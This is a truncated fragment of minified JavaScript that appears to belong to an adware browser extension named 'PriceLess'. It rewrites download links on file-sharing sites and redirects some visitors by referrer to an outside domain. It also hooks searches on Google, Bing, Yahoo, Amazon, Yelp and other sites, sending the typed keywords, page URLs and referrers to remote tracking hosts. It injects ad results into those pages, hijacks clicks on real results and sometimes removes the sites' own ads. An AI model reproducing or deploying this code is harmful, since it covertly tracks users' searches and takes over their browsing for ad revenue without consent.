0,\"130px\",void 0,void 0,void 0,void 0,!1)}};this[\"newsinitiative.org\"]=new function(){var e=this;e.init=function(){e.counter=0;e.interval=setInterval(function(){var h=n.utils.query_selector_all(\"noscript\")[1].parentNode;if(\"undefined\"!==typeof h){if(30>e.counter++){var k=h.children[0];if(\"undefined\"!==typeof k&&-1<k.getAttribute(\"src\").indexOf(\"data:image/\"))return}clearInterval(e.interval);\nvar k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}},500);var h=n.utils.query_selector_all(\".download-link a\");if(\"undefined\"!==typeof h)for(var k=0;k<h.length;k++){var l=n.utils.duplicateElement(h[k]),m=h[k].parentNode;m.insertBefore(l,h[k]);m.removeChild(h[k])}h=n.utils.query_selector_all(\".ads3 a\")[0];\"undefined\"!==typeof h&&(k=n.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h))}};this[\"megafilmesonlinehd.com\"]=new function(){this.init=\nfunction(){var e=n.utils.query_selector_all(\"#ClickHere\")[0];if(\"undefined\"!==typeof e){var h=n.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}};this[\"mycoolmp3.com\"]=new function(){var e=this;e.init=function(){e.interval=setInterval(function(){if(\"undefined\"!==typeof n.utils.query_selector_all(\".downButtons\")[0]){var e=n.utils.query_selector_all(\".downButtons a\");if(!(2>e.length)&&(e=e[1],\"undefined\"!==typeof e)){var k=n.utils.duplicateElement(e),l=e.parentNode;l.insertBefore(k,\ne);l.removeChild(e)}}},500)}};this[\"descargadictos.net\"]=new function(){var e=this;e.init=function(){e.counter=0;e.interval=setInterval(function(){var h=n.utils.query_selector_all(\".content\")[0].children[1];if(\"undefined\"!==typeof h){if(30>e.counter++){var k=h.firstChild;if(\"undefined\"!==typeof k&&-1<k.getAttribute(\"src\").indexOf(\"data:image/\"))return}clearInterval(e.interval);var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}},500);var h=n.utils.query_selector_all('[rel=\"nofollow\"]')[0];\nif(\"undefined\"!==typeof h){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}};this[\"toggle.com\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".downloadLink.newDownloadLink a\")[0];if(\"undefined\"!==typeof e){var h=n.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}};this[\"downloadshareware.com\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\"a#ads\")[0];if(\"undefined\"!==typeof e){var h=\nn.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}}};this[\"primewire.ag\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".quality_hd\");if(\"undefined\"!==typeof e)for(var h=0;h<e.length;h++){var k=e[h].parentNode.parentNode.children[1].children[0].children[0],l=n.utils.duplicateElement(k),m=k.parentNode;l.className=\"\";m.insertBefore(l,k);m.removeChild(k)}e=n.utils.query_selector_all(\".download_now_mouseover.no_c_link\")[0];\"undefined\"!==typeof e&&\n(l=n.utils.duplicateElement(e),m=e.parentNode,l.className=l.className.replace(\"no_c_link\",\"\"),m.insertBefore(l,e),m.removeChild(e));e=n.utils.query_selector_all(\".download_link .no_c_link\")[0];\"undefined\"!==typeof e&&(l=n.utils.duplicateElement(e),m=e.parentNode,l.className=l.className.replace(\"no_c_link\",\"\"),m.insertBefore(l,e),m.removeChild(e))}};this[\"ads.showmeflix.com\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".big-play\")[0];if(\"undefined\"!==typeof e){var h=n.utils.duplicateElement(e),\nk=e.parentNode;k.insertBefore(h,e);k.removeChild(e)}e=n.utils.query_selector_all(\".play-button\")[0];\"undefined\"!==typeof e&&(h=n.utils.duplicateElement(e),k=e.parentNode,k.insertBefore(h,e),k.removeChild(e));e=n.utils.query_selector_all(\".download.step\")[0];\"undefined\"!==typeof e&&(h=n.utils.duplicateElement(e),k=e.parentNode,k.insertBefore(h,e),k.removeChild(e))}};this[\"myappsforpc.com\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".download-link\");if(\"undefined\"!==typeof e)for(var h=\n0;h<e.length;h++){var k=n.utils.duplicateElement(e[h]),l=e[h].parentNode;l.insertBefore(k,e[h]);l.removeChild(e[h])}}};this.injectHidden=function(){var e=document.createElement(\"input\");e.type=\"hidden\";e.setAttribute(\"id\",\"sadkf345hks78923dkcvsdf\");document.getElementsByTagName(\"body\")[0].appendChild(e)};if(!document.getElementById(\"sadkf345hks78923dkcvsdf\"))if(\"undefined\"!==typeof this[location.host]&&this.activeZds[location.host]&&window.self==window.top&&1==this.activeZds[location.host])this[location.host].init(),\nthis.injectHidden();else for(var v in this.activeZds)if(-1<location.host.indexOf(v)&&1==this.activeZds[v])try{this[v].init(),this.injectHidden()}catch(y){}};;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://superiends.org/e/?f=pjaKrjYFvTwE ... }}catch(d){}})();;window.top==window.self&&new function(){if(!document.getElementsByTagName(\"body\").length||!document.getElementsByTagName(\"body\")[0].getAttribute(\"s8817188880235058019\")){var m=document.getElementsByTagName(\"body\")[0];m&&m.setAttribute(\"s8817188880235058019\",\"1\");var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.5\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.eid=decodeURIComponent(\"PriceLess\"); b.num_of_items_in_one=4;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var f=a[e];b=new Image;b.src=f}else b=new Image,b.src=a};a.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+ c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=nasrat(\";\"),b=0;b<c.length;b++){for(var g=c;\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(b,d){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",b,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&d(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(b, d,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",b,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)};d=encodeURIComponent(d);this.xhr.send(d)}};a.waitForTokens={};a.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c);clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}}; a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all= document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f= this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"== navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\",\"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href: \"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=8817188880235058019&eid=1093&pid=21132&prodid=186&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=CZ&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\",\"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+ b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d=0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()}, !1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\")||b.utils.query_selector_all(\".tn\");if(b.utils.isFalse(a))if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return(b.utils.query_selector_all(\".hdtb_mitem\")[0]||b.utils.query_selector_all(\".tn > div\")[0]).className.match(/(hdtb_msel|tn-selected-mode)/)&& (b.utils.ping(\"validate2\"),c.callback()),!1};if(!c.check_tab())return!1}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}}, infospace:{hrefSelector:\".resultTitle\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://search.infospace.com/search/*\"],src_for_keyword:\"#topSearchTextBox\",validate:function(){b.utils.ping(\"validate2\");return!0}},wow:{hrefSelector:\".find\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"http://www.wow.com/search?*\"],src_for_keyword:\"#csbquery1\",validate:function(){b.utils.ping(\"validate2\");return!0}},duckduckgo:{hrefSelector:\".result__a\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://duckduckgo.com/?q=*\"],src_for_keyword:\"#search_form_input\", validate:function(){b.utils.ping(\"validate2\");return!0}},contenko:{hrefSelector:\"#title\",unique_search_divs:\"1\",dr:[\"\",\"\"],urls:[\"://contenko.com/#/?q=*\"],src_for_keyword:\"#searchBar input[type='text']\",validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}},ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\", urls:[\"http://www.ask.com/web?q=*\",\"http://w ... m=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\" ... earch.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\");if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"== a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/searc ... arch.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"],src_for_keyword:\"#searchboxinput\", tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"],src_for_keyword:\"#twotabsearchtextbox\", validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}},superpages:{unique_search_divs:\"1\",urls:[\"http://yellowpages.superpages.com/listings.jsp?*\"],src_for_keyword:\"input[type='text']#what\", validate:function(){return!0}},yelp:{unique_search_divs:\"1\",urls:[\"http://www.yelp.com/search?find_desc=*\"],src_for_keyword:\"input#find_desc\",validate:function(){b.num_of_items_in_one=1;return!0}},yellowpages:{unique_search_divs:\"1\",urls:[\"http://www.yellowpages.com/search?search_terms=*\"],src_for_keyword:\"input[type='text']#query\",validate:function(){return!0}},info:{unique_search_divs:\"1\",urls:[\"http://www.info.com/search?*\"],src_for_keyword:\"input[type='text']#qkw0\",validate:function(){return!0}}, webcrawler:{unique_search_divs:\"1\",urls:[\"http://www.webcrawler.com/search/web?*\"],src_for_keyword:\"input[type='text']#topSearchTextBox\",validate:function(){return!0}},webssearches:{unique_search_divs:\"1\",urls:[\"http://search.webssearches.com/search/w ... com/web?q=*\"],src_for_keyword:[\"input[type='search']#topSearchTextBox\",\"input[type='text']#q\"],validate:function(){b.num_of_items_in_one=2;return!0}},mywebsearch:{unique_search_divs:\"1\", urls:[\"http://search.mywebsearch.com/mywebsearch/*\"],src_for_keyword:[\"input#q\"],validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&&1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e); g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b,d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b= 0;b<a.cache.length;b++)a.remove.apply(a,a.cache);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom=new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f= b.utils.dhtml_prop_name(e);try{c.style[f]=a.attrs.style[e]}catch(g){}}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&&(c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(h){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"== a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1, 1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f<d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)\"string\"===typeof a&&(a=a.replace(/\\\"/g,'\\\\\"'));return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&& (c=b.escape_chars_for_json(c));a=JSON.stringify(a);d=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description},{replace:\"clickUrl\",\"with\":c.clickUrl}];for(var e=0;e<d.length;e++)a=a.replace(RegExp(\"\\\\[##\"+d[e].replace+\"##\\\\]\",\"g\"),d[e][\"with\"]);try{return\"undefined\"!==typeof c.pxl&&\"\"!==c.pxl&&b.utils.sendPixels(c.pxl),JSON.parse(a)}catch(f){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling): a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k))return k;return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault? b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")};b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var n=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts.selector),\"undefined\"!==typeof a.element){a.insert=a.inserts.at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left=!1;var d=b.get_ad_dom(a);(function(a,c){c&&c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(var e=0;e<b.num_of_items_in_one&&0!=c.length;e++){var f=b.get_item_json(a,c[0]);try{b.insert_point.children.push(f)}catch(g){b.insert_point= d,b.insert_point.children.push(f)}\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()}};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(n);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g= 0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push(h)}}for(e=0;e<d.length;e++)if(\"undefined\"==typeof d[e]){var k=this;n=setTimeout(function(){k.apply(k,arguments)},200)}b()};b.addExtensionName=function(a){var c=JSON.stringify(a.layouts.dom);if(!c.match(/\\[##eid##\\]/))return a;c=c.replace(/\\[##eid##\\]/g,b.eid);a.layouts.dom=JSON.parse(c);return a};b.loop_targets=function(a,c,d){if(a instanceof Object&&(b.get_target_element(a),b.is_target_valid(a)&&(\"false\"==d&& b.unique_items_left&&(c=b.not_unique_items),0!=c.length))){b.add_data_to_config(a,c);try{a=b.addExtensionName(a)}catch(e){}try{a.node=b.create_search(a)}catch(f){}\"undefined\"!=typeof a.node&&b.inject_json(a)}};b.removeSecondClick=function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++)b.events.add(\"click\",function(a){setTimeout(function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++){var d=a[c];d.outerHTML=d.outerHTML.replace(/href\\=/ig,\"_href=\")}},20)}, !1,a[c],!0)};b.addCloseFunctionality=function(){function a(a){for(var b=a.className.split(\" \"),c=0;c<b.length;c++)if(\"yael\"===b[c])return a;if(!a.parentElement)return!1;a=a.parentElement;return arguments.callee(a)}var c=b.utils.query_selector_all(\".yael_close_btn\");if(c)for(var d=0;d<c.length;d++)b.events.add(\"click\",function(){try{var b=a(this)}catch(c){}b&&b.parentElement.removeChild(b)},!1,c[d],\"closeBtn\")};b.inject_search=function(){b.not_unique_items=[];0!=__yael_res.data.items.length&&(b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name),b.check_if_div_in_dom(0,function(){for(var a in __yael_res.config.targets){var c=__yael_res.config.targets[a];b.loop_targets(c,__yael_res.data.items,c.layouts.unique)}\"function\"==typeof b.projects_info[b.projects_name].tweak&&b.projects_info[b.projects_name].tweak();b.j||b.removeSecondClick();b.addCloseFunctionality();b.utils.flushWaitForTokens()}))};b.init_search_project=function(){b.waitForElementCounter=0;\"undefined\"!=typeof __yael&&b.remove_search();for(var a in b.projects_info)if(b.utils.match_url(location.href, b.projects_info[a].urls)){var c=b.projects_info[a];b.projects_name=a;if(-1<b.initThrottle.indexOf(a))c.validate(function(){c.name=b.projects_name;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})});else{if(!c.validate())return;c.name=b.projects_name;b.projects_name=a;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})}}return!1};b.get_keyword=function(a,c){var d=a.src_for_keyword,e=function(d){b.inputElement=d[0];b.keyword=b.inputElement.value;if(2>b.keyword.length)return b.utils.flushWaitForTokens(), !1;if(b.inputElement&&\"input\"==b.inputElement.tagName.toLowerCase()&&\"\"!==b.keyword)return c(b.keyword,a.name)};if(d instanceof Array)for(var f=0;f<d.length;f++)b.utils.waitForElement(d[f],function(a){a&&e(a)},100,\"keyword\");else b.utils.waitForElement(d,function(a){a&&e(a)},100,\"keyword\")};b.remove_se_handler=function(a){var c=b.projects_info[a].dr;if(c instanceof Array)if(\"bing\"==a)for(c=b.utils.query_selector_all(c[0]),a=0;a<c.length;a++)b.remove_se(c[a]);else for(a=0;a<c.length;a++){var d=l(c[a]); b.remove_se(d)}};b.remove_se=function(a){a&&a.parentElement.removeChild(a)};b.jsonp_request=function(a,c){var d=b.num_of_items_in_one*parseInt(b.projects_info[c].unique_search_divs);window.__yael_cb=function(a){window.__yael_res=a;\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&b.remove_se_handler(c),__yael.inject_search())};\"undefined\"==typeof window.__yael&&(window.__yael=b);d=b.jsonpHost+\"/?v=\"+b.version+\"&p=\"+c+\"&keyword=\"+a+\"&numItems=\"+d+ \"&hid=8817188880235058019&eid=1093&pid=21132&prid=186\";\"undefined\"!=typeof specificFeeds&&specificFeeds instanceof Array&&(d+=\"&_feeds=\"+specificFeeds.join(\",\"));if(b.utils.isIE()){if(document.getElementById(\"__yael_script\")){var 